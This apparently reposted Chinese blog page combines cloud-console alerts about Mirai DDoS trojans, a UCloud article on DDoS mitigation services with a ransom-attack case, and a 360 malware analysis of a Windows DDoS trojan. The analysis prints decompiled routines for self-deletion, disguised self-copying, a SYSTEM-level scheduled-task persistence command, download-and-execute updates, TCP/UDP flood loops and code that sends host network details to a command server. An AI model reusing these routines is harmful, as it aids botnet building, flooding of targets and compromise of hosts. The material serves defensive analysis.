DDoS木马

 

文件路径: /usr/bin/bsd-port/getty
恶意文件md5: 56b157ffd5a4b8b26d472395c8d2f7dc
扫描来源方式: 后台驻留进程扫描
进程id: 200595
文件创建用户: root
描述: 检测模型发现您的服务器上运行了自变异,自变异木马是具备自变异功能的木马程序,它会改变自身hash或者将自身大量复制到不同的路径下,并后台运行起来,以躲避清理。
 
 
文件路径: /var/tmp/.f
恶意文件md5: 92a569bdac63a12fa50015fdefa2484c
扫描来源方式: 后台驻留进程扫描
进程id: 219360
文件创建用户: root
样本家族与特征: Mirai,DDoS
描述: 黑客在入侵系统后植入的恶意程序,会占用您的带宽攻击其他服务器,同时可能影响自身业务的正常运行,危害较大。 此类恶意程序可能还存在自删除行为,或伪装成系统程序以躲避检测。如果发现该文件不存在,请检查是否存在可疑进程、定时任务或启动项。帮助文档:https://help.aliyun.com/knowledge_detail/36279.html
 

告警描述:检测模型发现您的服务器上运行了DDoS木马,DDoS木马是用于从被攻陷主机上接受指令,对黑客指定目标发起DDoS攻击的恶意程序。

异常事件详情

文件路径:/var/tmp/.f (deleted)

恶意文件md5:92a569bdac63a12fa50015fdefa2484c

扫描来源方式: 进程启动扫描

进程id:217573

进程命令行:OwNcDjRaYqLfUnLnOoKq

文件创建时间: N/A

文件修改时间: N/A

样本家族与特征:Mirai,DDoS

描述:黑客在入侵系统后植入的恶意程序,会占用您的带宽攻击其他服务器,同时可能影响自身业务的正常运行,危害较大。 此类恶意程序可能还存在自删除行为,或伪装成系统程序以躲避检测。如果发现该文件不存在,请检查是否存在可疑进程、定时任务或启动项。帮助文档:https://help.aliyun.com/knowledge_detail/36279.html

事件说明

检测模型发现您的服务器上运行了DDoS木马,DDoS木马是用于从被攻陷主机上接受指令,对黑客指定目标发起DDoS攻击的恶意程序。

 

企业“出海”DDoS攻击防不胜防?老司机教你几招快速应对 - 知乎 https://zhuanlan.zhihu.com/p/269439235

 

一次针对国内用户的DDos木马概要分析 - 360 核心安全技术博客 https://blogs.360.cn/post/%E4%B8%80%E6%AC%A1%E9%92%88%E5%AF%B9%E5%9B%BD%E5%86%85%E7%94%A8%E6%88%B7%E7%9A%84ddos%E6%9C%A8%E9%A9%AC%E6%A6%82%E8%A6%81%E5%88%86%E6%9E%90.html

企业“出海”DDoS攻击防不胜防?老司机教你几招快速应对

 
 

近年来,随着国内互联网市场巨头垄断下的流量竞争愈演愈激烈,越来越多的企业被迫“出海”,尤其是电商和游戏行业。然而海外业务的快速扩张往往也伴随着势不可挡的黑暗势力——恶意DDoS攻击,频繁遭受DDoS攻击就会让本该为用户提供服务的资源忙于应付攻击者的请求,导致服务端瞬间失去服务能力,难以对正常用户的请求。

为帮助更多的出海企业有效解决DDoS攻击问题,在10月23日TIC大会的技术分论坛上,UCloud安全产品经理冯业浩围绕DDoS攻击防御方面的技术和安全产品进行了解析,并分享了几个真实的攻击防护案例,供大家参考借鉴。

DDoS攻击背后并不简单

众所周知,DDoS攻击是一种非常普遍且最为有效的网络攻击方式。法国社会学家涂尔干曾经说过:“一个行业的先进程度与其行业的细分程度成正比。”从这个角度看,DDoS行业已经是一个高度发达、高度发展的行业。

DDoS攻击行业涉及到多个利益环节,首先,会有一个软件开发团队专门用来负责写木马,木马开发完成之后,将会交由木马的运营团队和销售团队进行销售。

而僵尸网络的运营者将会拿到这些木马并且进行挂马传播,最终使客户的主机和电脑受到入侵,成为僵尸网络中的一员,而僵尸网络最终也会成为DDoS攻击的一个资源的提供者。另外有一波软件开发人员,他们用来开发DDoS攻击平台,DDoS攻击平台开发完成之后,将会有DDoS开发平台的销售去向客户进行销售。而客户最终只需要打开一个网页,输入攻击的域名或者输入一个IP地址,就可以开展一次攻击。

从这个角度大家可以看到DDoS攻击并不是一项技术门槛非常高的攻击手段,恶意竞争者只需要付费即可轻松展开一次DDoS攻击,不需要任何的技术学习和门槛。

人潮熙熙,皆为利来;人潮攘攘,皆为利往。DDoS攻击行业背后的利润巨大,例如,基本每个游戏上线的时候都会遭受几次DDoS攻击,而DDoS攻击的来源可能是勒索组织,也可能是竞争对手。因此,企业要想出海好好发展业务,必须将DDoS攻击防御作为业务考虑中的关键一环。

防御DDoS攻击的两种方式

但企业在DDoS攻击防御的同时,也将面临两个问题:接入防护后的代理模式将攻击流量引导至第三方,不可避免增加延时;防护能力越强防护成本越高,回源带宽也是一笔很高的成本。针对企业面临的这两个痛点,冯业浩接下来重点介绍了UCloud在 DDoS攻击防护方面做了哪些工作。

DDoS攻击一般来说可以分成两大类,一类是协议攻击,一类是流量攻击。所谓协议攻击,最常见的是syn flood攻击,即攻击者通过发送大量的syn包建立大量半开连接,耗尽用户主机的资源,从而导致用户的主机崩溃,不能够正常对外提供服务;流量攻击,就是采用大流量的攻击,占满用户的带宽,使得用户的正常流量被丢弃。举一个比较典型的例子:2018年GitHub遭遇到了史上最严重的一次DDoS攻击,其峰值带宽高达1.35T,这次攻击就是黑客利用了memcached的反射漏洞,发起了一次反射的流量攻击.

而防御DDoS攻击一般来说有两种方式,一种方式就是在业务机房边缘去做流量清洗,此时业务机房需要具备足够大的上联带宽,将正常流量和攻击流量全部收进来之后,在业务机房的边缘还需要有一套分析设备和一套清洗设备,分析设备通过对流量的镜像分析,可以分析出哪个IP被攻击了;而清洗设备一旦发现哪个IP被攻击之后,就会发起流量的牵引,将被攻击的IP的所有的流量引入清洗模块;清洗模块根据攻击的特征筛选掉攻击的流量,从而将正常的流量下放至客户的源站。

第二种方式则是用专门的高防机房,比如说客户的业务需要部署在自己的业务机房内,而将入口放在高防机房中。高防机房通常都有足够大的上联带宽,会对流量进行清洗,从而将正常的流量通过公网回源至用户的源站。

第一种方式要求业务机房有足够大的上联带宽,同时每个业务机房都必须有足够强大的清洗和分析设备,这个条件对于很多企业来说还是比较苛刻的。而如果采用第二种专门的高防机房的方式,由于它是一种代理的模式,因此不可避免会引入额外的网络延时。此外回源机房也是需要一部分的外网带宽的,这部分成本也是相当大的。

总的来说,一个高防防护的IP地址,它的延时和它的防护能力,是鱼和熊掌不可兼得的。防护等级越高,一般来说,延时会有一些比较明显的影响。因此企业根据可能被攻击的量级来选择合适的DDoS攻击防护方式才是最好的选择。

UCloud基于全球的流量分级防护方案

对此,UCloud推出了一套基于全球清洗能力的全球分级解决方案。在攻击的量级在20G以下的时候,推荐使用本地清洗;在70G以下的时候,推荐使用高防EIP;而如果攻击流量达到70G以上,则推荐使用分布式高防,即UCloud亚太高防和Anycast全球清洗。

本地清洗产品的防护阈值上限为20G,虽然它的防护阈值不是很高,但是可以抵御小规模的DDoS攻击,且好处是用户一旦购买该服务后,其账户下所有的EIP都能够享受到相关的DDoS防御的服务。此外EIP的延时不会有任何的影响,可以像使用正常的EIP一样使用它。

同时,UCloud在首尔、胡志明、曼谷和雅加达等地域支持分线路的封堵。根据统计,90%的攻击来源都是美国、俄罗斯以及中国,因此在这些小地域进行分线路的检测和封堵,是可以把大部分的攻击直接阻断,而不影响本地的覆盖效果。目前该产品已在北美、欧洲和亚太的主要节点全部上线。

高防EIP则是引入了专门的线路进行高防的清洗,这条线路的带宽非常大。因此足够我们将所有的攻击流量和正常流量引入。同时这条线路还可以保证访问效果和普通的IP地址相比没有明显的差别。目前这个产品已经上线了台北,拥有70G的防护能力,它的延时却等同于普通的弹性IP,使用体验与普通的EIP一致。

如果想要更大的防护能力,那么UCloud亚太高防和Anycast全球清洗将是不错的选择。

亚太高防采用的思路就是用单独的高防机房进行清洗之后,通过公网进行回源。目前我们的高防机房位于香港,因此它覆盖东南亚的效果相当不错,从香港去覆盖台北、新加坡、越南、首尔、雅加达等地域最高的延时也不会超过60毫秒。此外从用户体验上,也可以像普通EIP一样直接绑定在用户的资源上,只会增加一点额外的延时。相对于普通的高防产品,亚太高防没有域名和端口的限制,也没有QPS的数量限制,因此非常适合用于大带宽的DDoS攻击相关的防御。

AnycastClean全球清洗采用了另外一种思路,就是分治法,分治就是分而治之。UCloud在全球八大入口点宣告了同样的高防地址,就是我们的 Anycast EIP ,这样所有的攻击流量和正常业务流量都会通过这八个入口点分别就近流入,而攻击流量会在这8个入口点分别进行清洗,清洗完成之后,公网正常的业务流量将会通过UCloud的全球骨干网进行回源,送到最终的源站。Anycast全球清洗可以说是集成了UCloud海外所有的防护能力,因此它的防护能力是比较强的,目前防护上限为500G,未来目标是计划升级到800G。AnycastClean不仅拥有较好的防护效果,同时它的回源采用了UCloud骨干网,因此回源是比较稳定的。

此外,AnycastClean采用了时长计费的方式,据统计90%的DDoS攻击时长都在一小时以下,而AnycastClean采用在攻击的时候才会计费,不攻击的时候不计费这种方式,一个小时的售价在5000块左右。通过这种方式企业就可以更低的成本去有效抵御高带宽的DDoS攻击。

分享一个典型案例

我们一直寻找的,却是自己原本早已拥有的;我们总是东张西望,唯独漏了自己想要的,这就是我们至今难以如愿以偿的原因。

 

2019 年 12 月下旬,某游戏公司突然遭到 70G 流量的 DDoS 攻击,并基于前期购买的 UCloud 高防服务抵抗住了这一波攻击。游戏公司负责人 G 先生本以为这就是一次小打小闹,黑客方应该已经知难而退。

没有料到的是,这仅仅是一次攻击的前奏曲。当天晚上,G 先生便收到了来自黑客组织的勒索消息。黑客方声称来自 A 记,A 记是一个臭名昭著的国际黑客组织,从 2018 年起便陆续被各大安全厂商曝光 DDoS 勒索的行径。

在 G 先生与黑客的沟通过程中,黑客声称第一次的 70G DDoS 攻击只是一个引子,如若 G 先生不妥协,将持续发动更大规模的攻击。

这也是 A 记黑客组织一贯的攻击套路,通常先进行小规模攻击试探,并威胁企业支付“赎金”,如果被拒便会发起更为猛烈的大流量攻击,以此胁迫企业就范。黑客与 G 先生谈崩以后,恼羞成怒,在当天下午 2 点钟左右便开始发动猛烈的攻势。攻击流量瞬时达到了近 300G 的峰值!

在游戏公司遭受第一波小规模 DDoS 攻击时,UCloud 安全中心便已介入了解该事件。在了解到勒索情况后,由于无法预估黑客具体的攻击数字,UCloud 和用户沟通后建议采用弹性防护措施布防,并先后采取高防 IP 分配、特殊转发规则配置、精细化防护策略添加等手段,实现隐藏用户源站 IP 的效果。

当黑客开始进一步大规模攻击时,所有的攻击量及攻击手段全部被转移至 UCloud 云端高防 IP 站点,该高防站点设置攻击上限为 1T,可轻松实现 300G 的攻击量抵御。最终,成功逼退 A 记黑客组织。

道高一尺,魔高一丈,为了保证用户的业务更加安全稳定的“出海航行“,UCloud还将进一步提升DDoS防御能力,同时保证DDoS高防IP具备更好的访问质量。例如UCloud即将推出的基于CN2线路的香港加速高防,拥有50G的CN2加速线路,同时在国际方向拥有400G的保护;另外计划在亚太继续建设高防,在年底覆盖亚太所有的节点,形成全球防御能力高达37T的高防节点。

关于本次分享的完整视频欢迎点击 UCloud用户大会暨Think in Cloud 2020|构建·创见进行查看。

发布于 2020-10-28

 

一次针对国内用户的DDos木马概要分析

摘要

事件起因:

前一段时间国外网站曝出一个中国的受害者来执行DDOS的一个木马—Chind,在该木马准备长攻击前,会先检测用户是否使用360,如果检测到就会停止攻击.这里就对该木马行为进行详细报告

木马危害:

该木马长期潜伏在用户电脑中,使用户变肉鸡,在适当时候会对指定目标进行攻击(攻击时间由发起者决定),对被攻击目标进行DOS攻击。大量的肉鸡同时对一个目标发送大量数据,会导致被攻击目标网络瘫痪,而对于中招用户来说一旦被攻击的网站对攻击事件进行追查,能查到的直接源头就是这些无辜的中招用户

木马行为分析

0x00 木马基本信息

  • MD5:5a454c795eccf94bf6213fcc4ee65e6d
  • 加壳情况:UPX -> Markus & Laszlo ver. [ 3.91 ] <- info from file.
  • 基本行为:自我复制,自我删除,开机自启动,随时更新下载最新版本木马,攻击目标主机

0x01 使用**upx**压缩壳减小体积

从压缩前后可以看到体积减小了一半

1

0x02 创建互斥量,保证只有一个木马在运行

2.1.使用sleep函数使木马进入短暂休眠状态(该木马使用大量sleep函数,后面就不在提出了)

  • SetErrorMode(0x8003u);
  • SetUnhandledExceptionFilter(TopLevelExceptionFilter);
  • Sleep(0x2710u);

2.2.创建唯一标识”Global\3672a9586a5f342b2ca070851e425db6″

  • hObject = CreateMutexW(0, 1, L"Global\\3672a9586a5f342b2ca070851e425db6");

0x03互斥量创建

  • if ( hObject && GetLastError() == 183 ){
  • DleteItSelf();
  • TopLevelExceptionFilter(v5);
  • }

3.1如果CreateMutexW()函数返回183(该互斥量已存在,无法创建),此时进程会删除自身

  • if ( GetModuleFileNameW(0, &Filename, 0x104u) )
  • {
  • if ( GetShortPathNameW(&Filename, &Filename, 0x104u) )
  • {
  • lstrcpyW(&String1, L"/c del ");
  • lstrcatW(&String1, &Filename);
  • lstrcatW(&String1, L" >> NUL");
  • if ( GetEnvironmentVariableW(L"ComSpec", &Filename, 0x104u) )
  • {
  • if ( (signed int)ShellExecuteW(0, 0, &Filename, &String1, 0, 0) > 32 )
  • result = 1;
  • }
  • }

3.2进程退出

  • v0 = GetCurrentProcess();
  • return TerminateProcess(v0, 0);

0x04.根据当前进程具有的系统权限,选择路径进行自我复制

  • BOOL sub_405DF0()
  • {
  • WCHAR *v0; // [ST04_4@1
  • ](mailto:ST04_4@1) WCHAR *v1; // eax@1
  • v0 = GetPath();
  • v1 = GetModuleFileName();
  • return CopyFileW(v1, v0, 0);
  • }

4.1获取复制自身所到的路径GetPath()

  • if ( judgegrade() )
  • {
  • GetWindowsDirectoryW(&FileName, 0x104u);
  • PathAppendW(&FileName, L"\\System\\");
  • CreateDirectoryW(&FileName, 0);
  • PathAppendW(&FileName, L"\\Init\\");
  • CreateDirectoryW(&FileName, 0);
  • SetFileAttributesW(&FileName, 2u);
  • PathAppendW(&FileName, L"\\wininit.exe");
  • }
  • else if ( SHGetFolderPathW(0, 26, 0, 0, &FileName) >= 0 )
  • {
  • PathAppendW(&FileName, L"\\Microsoft\\");
  • CreateDirectoryW(&FileName, 0);
  • PathAppendW(&FileName, L"\\System\\");
  • CreateDirectoryW(&FileName, 0);
  • SetFileAttributesW(&FileName, 2u);
  • PathAppendW(&FileName, L"\\wininit.exe");
  • }

4.1.1 判断系统的权限 JudgeGrade()

  • if ( judgegrade() )
  • {
  • GetWindowsDirectoryW(&FileName, 0x104u);
  • PathAppendW(&FileName, L"\\System\\");
  • CreateDirectoryW(&FileName, 0);
  • PathAppendW(&FileName, L"\\Init\\");
  • CreateDirectoryW(&FileName, 0);
  • SetFileAttributesW(&FileName, 2u);
  • PathAppendW(&FileName, L"\\wininit.exe");
  • }
  • else if ( SHGetFolderPathW(0, 26, 0, 0, &FileName) >= 0 )
  • {
  • PathAppendW(&FileName, L"\\Microsoft\\");
  • CreateDirectoryW(&FileName, 0);
  • PathAppendW(&FileName, L"\\System\\");
  • CreateDirectoryW(&FileName, 0);
  • SetFileAttributesW(&FileName, 2u);
  • PathAppendW(&FileName, L"\\wininit.exe");
  • }

0x05对当前进程权限判断,选择长期驻扎在系统

5.1判断当前进程运行的权限是否是管理员权限(前面已经提到过,不在重复)

5.2如果是管理员权限,则直接写入注册表,开机自启动

_1_2

5.3如果不是管理员权限,先判断系统版本

5.3.1如果系统版本是一下版本中的一个,则直接创建注册表,达到开机自启动就可以了(同5.2)

Windows Vista Windows Server 2003 R2 Windows Home Server Windows Server 2003Windows XP Professional x64 Edition Windows XP Windows 2000

5.3.2如果系统版本不是以上中的一个,则调用schtask.exe来创建服务,使木马不仅能够开机自启动,还能够以管理员权限运行

  • schtasks.exe命令行解析
  • /sc onstart 指定该服务是开机时便开始运行
  • /tn Microsoft\\Windows\\Shell\\Init 指定任务名为"'Microsoft\\Windows\\Shell\\Init"
  • /tr \"\\\"%s\\\"\" 制定任务路径
  • /ru system 指定该任务具有system权限
  • GetSystemDirectoryW(&Buffer, 0x104u);
  • wsprintfW(&File, L"%s\\schtasks.exe", &Buffer);
  • if ( sub_406400() ){
  • sub_406030();
  • } else {
  • v0 = sub_404CB0();
  • wsprintfW( &Parameters,
  • L"/create /F /sc onstart /tn Microsoft\\Windows\\Shell\\Init /tr \"\\\"%s\\\"\" /ru system",
  • v0);}
  • DeleteTask();
  • Sleep(0x2710u);
  • return ShellExecuteW(0, L"open", &File, &Parameters, 0, 0);

5.3.3每次创建任务之前都会先删除任务。以保证任务能够成功创建

  • wsprintfW(&Parameters, L"/delete /TN Microsoft\\Windows\\Shell\\Init /F", &Buffer);
  • return ShellExecuteW(0, L"open", &File, &Parameters, 0, 0);

0x06**创建进程,删除自身**

6.1运行刚刚复制的替身

_3

6.2删除自身(同3.1)

0x07 测试网络是否畅通

如果不畅通,木马会开始不停的休眠,唤醒后继续尝试访问,到达一定次数后还没网络时则木马会自动退出

  • while ( 1 ){
  • v10 = TestInter();
  • if ( v10 )
  • break;
  • Sleep(0x1D4C0u);
  • ++v12;
  • if ( v12 >= 30 )
  • ExitProcess(0);
  • }

7.1用到的测试网址都是经常用到的网址

  • for ( i = 0; i < 10; ++i ){
  • if ( SetInterConn("http://www.baidu.com/") )
  • return 1;
  • if ( SetInterConn("http://www.microsoft.com/") )
  • return 1;
  • if ( SetInterConn("http://www.qq.com/") )
  • return 1;
  • }

7.1.1连接设置 SetInterConn()

  • v3 = 0;
  • hInternet = InternetOpenA(&byte_4326BF, 1u, 0, 0, 0);
  • Buffer = 5000;
  • InternetSetOptionA(hInternet, 2u, &Buffer, 4u); //INTERNET_OPTION_CONNECT_TIMEOUT
  • InternetSetOptionA(hInternet, 5u, &Buffer, 4u); //INTERNET_OPTION_SEND_TIMEOUT
  • InternetSetOptionA(hInternet, 6u, &Buffer, 4u); //INTERNET_OPTION_RECEIVE_TIMEOUT
  • Buffer = 5;
  • InternetSetOptionA(hInternet, 3u, &Buffer, 4u); //INTERNET_OPTION_CONNECT_RETRIES
  • InternetSetOptionA(hInternet, 0x4Du, 0, 0);
  • v4 = InternetOpenUrlA(hInternet, lpszUrl, &byte_4326C3, 0, 0, (DWORD_PTR)&dwContext); //INTERNET_OPTION_IGNORE_OFFLINE
  • if ( v4 )
  • v3 = 1;
  • if ( v4 )
  • InternetCloseHandle(v4);
  • if ( hInternet )
  • InternetCloseHandle(hInternet);
  • return v3;

0x08 根据当前进程的权限决定将接受命令的文件所放的目录

8.1判断当前进程是否拥有管理员权限(同4.1.1)

8.2获取命令文件所放路径

  • if ( judgegrade() )
  • {
  • GetWindowsDirectoryW(&pszPath, 0x104u);
  • PathAppendW(&pszPath, L"\\Logs\\");
  • CreateDirectoryW(&pszPath, 0);
  • PathAppendW(&pszPath, L"\\WMI\\");
  • CreateDirectoryW(&pszPath, 0);
  • PathAppendW(&pszPath, L"\\Event\\");
  • CreateDirectoryW(&pszPath, 0);
  • SetFileAttributesW(&pszPath, 2u);
  • PathAppendW(&pszPath, L"\\SystemEvent.evt");
  • }
  • else if ( SHGetFolderPathW(0, 26, 0, 0, &pszPath) >= 0 )
  • {
  • PathAppendW(&pszPath, L"\\Microsoft\\");
  • CreateDirectoryW(&pszPath, 0);
  • PathAppendW(&pszPath, L"\\System\\");
  • CreateDirectoryW(&pszPath, 0);
  • SetFileAttributesW(&pszPath, 2u);
  • PathAppendW(&pszPath, L"\\wow64.dll");
  • }
  • return &pszPath;

0x09命令文件读取成功

9.1读取命令配置文件

  • ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, &NumberOfBytesRead, 0);

9.2解密命令配置文件

该文件采用Salsa20加密算法对命令配置文件进行了一次加密,从下面这里的反汇编代码就可以看出是Salsa20算法

  • while ( v102 );
  • sub_40BBE0(a1, v6 + v101);
  • sub_40BBE0(v70 + 4, v7 + v100);
  • sub_40BBE0(v71 + 8, v8 + v99);
  • sub_40BBE0(v72 + 12, v9 + v98);
  • sub_40BBE0(v73 + 16, v97 + v111);
  • sub_40BBE0(v74 + 20, v96 + v116);
  • sub_40BBE0(v75 + 24, v95 + v110);
  • sub_40BBE0(v76 + 28, v94 + v109);
  • sub_40BBE0(v77 + 32, v93 + v108);
  • sub_40BBE0(v78 + 36, v92 + v107);
  • sub_40BBE0(v79 + 40, v91 + v114);
  • sub_40BBE0(v80 + 44, v90 + v106);
  • sub_40BBE0(v81 + 48, v89 + v105);
  • sub_40BBE0(v82 + 52, v88 + v104);
  • sub_40BBE0(v83 + 56, v87 + v103);
  • sub_40BBE0(v84 + 60, v86 + v112);
  • return 0

9.2对接受到的命令进行相应的操作

该木马能接受的命令如下

update:储当前的cnc到一个加密文件,并报告给服务器。然后,下载并执行最新版的木马,接着删除旧版木马。(篇幅有限,只列出部分)

  • GetTempPathA(0x104u, &Buffer);
  • GetTempFileNameA(&Buffer, &byte_4326CB, 0, &TempFileName);
  • DeleteFileA(&TempFileName);
  • v8 = (int)&v11;
  • do
  • v9 = *(_BYTE *)(v8++ + 1);
  • while ( v9 );
  • v4 = v8;
  • *(_DWORD *)v8 = 1702389038;
  • *(_BYTE *)(v4 + 4) = 0;
  • DeleteUrlCacheEntryA(lpszUrlName);
  • URLDownloadToFileA(0, lpszUrlName, &TempFileName, 0, 0);
  • DeleteUrlCacheEntryA(lpszUrlName);
  • if ( sub_405800(&TempFileName, a3) )
  • {
  • memset(&StartupInfo, 0, 0x44u);
  • StartupInfo.cb = 68;
  • ProcessInformation.hProcess = 0;
  • ProcessInformation.hThread = 0;
  • ProcessInformation.dwProcessId = 0;
  • ProcessInformation.dwThreadId = 0;
  • CloseHandle(hObject);
  • CreateProcessA(&TempFileName, 0, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation);
  • DeleteItself();
  • TopLevelExceptionFilter();
  • }
  • result = DeleteFileA(&TempFileName);

url_exec:从指定的URL上下载文件,并使用WinExec来执行这个文件

  • GetTempPathA(0x104u, &Buffer);
  • GetTempFileNameA(&Buffer, &PrefixString, 0, &TempFileName);
  • DeleteFileA(&TempFileName);
  • v4 = &v6;
  • do
  • v2 = (v4++)[1];
  • while ( v2 );
  • *(_DWORD *)v4 = 1702389038;
  • v4[4] = 0;
  • DeleteUrlCacheEntryA(lpszUrlName);
  • URLDownloadToFileA(0, lpszUrlName, &TempFileName, 0, 0);
  • DeleteUrlCacheEntryA(lpszUrlName);
  • result = sub_405800(&TempFileName, a2);
  • if ( result )
  • result = WinExec(&TempFileName, 0);

具体如下图表格
捕获

0x0A通过UDP或TCP创建连接**,实现DDOS攻击**

_4

A.1创建TCP连接

  • name.sa_family = 2;
  • *(_DWORD *)&name.sa_data[2] = inet_addr(cp);
  • if ( v10 && v11 )
  • *v11 = 58;
  • while ( 1 ){
  • s = socket(2, 1, 6);
  • if ( v10 ){
  • *(_WORD *)&name.sa_data[0] = htons(v10);
  • }
  • else{
  • v1 = HandleError();
  • *(_WORD *)&name.sa_data[0] = htons(v1);
  • }
  • connect(s, &name, 16);
  • argp = 1;
  • ioctlsocket(s, -2147195266, &argp);
  • send(s, buf, len, 0);
  • shutdown(s, 1);
  • closesocket(s);

A.2创建UDP连接

  • result = socket(2, 2, 17);
  • s = result;
  • if ( result >= 0 ){
  • *(_DWORD *)&to.sa_family = 0;
  • *(_DWORD *)&to.sa_data[2] = 0;
  • *(_DWORD *)&to.sa_data[6] = 0;
  • *(_DWORD *)&to.sa_data[10] = 0;
  • to.sa_family = 2;
  • *(_DWORD *)&to.sa_data[2] = inet_addr(cp);
  • while ( 1 ){
  • v9 = v10++ % 0x2710u;
  • if ( !v9 ){
  • v2 = HandleError();
  • memset(&buf, v2, 0x2000u);
  • }
  • v3 = HandleError();
  • *(_WORD *)&to.sa_data[0] = htons(v3);
  • len = HandleError() % 4096 + 4096;
  • sendto(s, &buf, len, 0, &to, 16);

0x0B 再次接受指令

在创建DOS攻击线程后,该木马还会继续创建一个线程,到某个只指定的网址去下载文件,然后对文件进行解密和执行获取到的命令

  • hInternet = InternetOpenA(&szAgent, 1u, 0, 0, 0);
  • Buffer = 5000;
  • InternetSetOptionA(hInternet, 2u, &Buffer, 4u);
  • InternetSetOptionA(hInternet, 5u, &Buffer, 4u);
  • InternetSetOptionA(hInternet, 6u, &Buffer, 4u);
  • Buffer = 5;
  • InternetSetOptionA(hInternet, 3u, &Buffer, 4u);
  • InternetSetOptionA(hInternet, 0x4Du, 0, 0);
  • DeleteUrlCacheEntryA(lpszUrlName);
  • hFile = InternetOpenUrlA(hInternet, lpszUrlName, &szHeaders, 0, 0x4040300u, (DWORD_PTR)&dwContext);
  • if ( hFile ){
  • v16 = 0;
  • v3 = About_Expection_badalloc_4(0);
  • v14 = v3;
  • do{
  • while ( !InternetReadFile(hFile, &v18, 0x1000u, &dwNumberOfBytesRead) );
  • v9 = dwNumberOfBytesRead + v16;
  • v4 = About_Expection_badalloc_4(dwNumberOfBytesRead + v16);
  • v10 = v4;
  • memmove_0(v4, v14, v16);
  • v5 = v14;
  • j_j__free(v14);
  • memmove_0((char *)v10 + v16, &v18, dwNumberOfBytesRead);
  • v14 = v10;
  • v16 = v9;
  • }
  • while ( dwNumberOfBytesRead );
  • v12 = M_decode(v14, v16);
  • if ( v12 ){
  • v8 = AcceptOrder((int)v12, 0);
  • v7 = v12;
  • j_j__free(v12);
  • }

0x0C**获取网卡信息**

C.1通过调用 GetAdaptersInfo函数获取Adapter Name,Mac,Ip,NetMask,NetGate等信息

  • GetAdaptersInfo(&AdapterInfo, &SizePointer);
  • v3 = &AdapterInfo;
  • memset(&unk_43F1C8, 0, 0x1000u);
  • sub_41A958((int)&unk_43F1C8, "%d_", 32);
  • do{
  • v4 = v3->Address;
  • sub_41A958(
  • (int)&unk_43F1C8,
  • "%s_%02x%02x%02x%02x%02x%02x%02x%02x",
  • &unk_43F1C8,
  • v3->Address[0],
  • v3->Address[1],
  • v3->Address[2],
  • v3->Address[3],
  • v3->Address[4],
  • v3->Address[5],
  • v3->Address[6],
  • v3->Address[7]);
  • v3 = v3->Next;
  • }

C.2通过调用InternetOpeUrl()将刚刚获取到的本机信息发送至目标服务器

  • hInternet = InternetOpenA(&byte_4326C6, 1u, 0, 0, 0);
  • Buffer = 5000;
  • InternetSetOptionA(hInternet, 2u, &Buffer, 4u);
  • InternetSetOptionA(hInternet, 5u, &Buffer, 4u);
  • InternetSetOptionA(hInternet, 6u, &Buffer, 4u);
  • Buffer = 5;
  • InternetSetOptionA(hInternet, 3u, &Buffer, 4u);
  • InternetSetOptionA(hInternet, 0x4Du, 0, 0);
  • sub_41A958((int)&szUrlName, "%s%s", a1, a2);
  • DeleteUrlCacheEntryA(&szUrlName);
  • result = InternetOpenUrlA(hInternet, &szUrlName, &byte_4326C7, 0, 0, (DWORD_PTR)&dwContext);
  • v5 = result;
  • if ( result )
  • v4 = 1;
  • if ( v5 )
  • result = (HINTERNET)InternetCloseHandle(v5);
  • if ( hInternet )
  • result = (HINTERNET)InternetCloseHandle(hInternet);

现在这个网站已经不能访问,所以也返回不了数据了。

111111111111111111111111111

结论:

安装360卫士,可完美查杀。安装360安全卫士进行全盘扫描,看看你们是不是中招了。千万不要一不小心就被别人利用了,出大事了什么事都还的无辜的群众来承担。

1

360安全卫士成功扫描

本文链接:https://blogs.360.cn/post/一次针对国内用户的ddos木马概要分析.html

-- EOF --

 

posted @ 2021-07-13 10:19  papering  阅读(977)  评论(0编辑  收藏  举报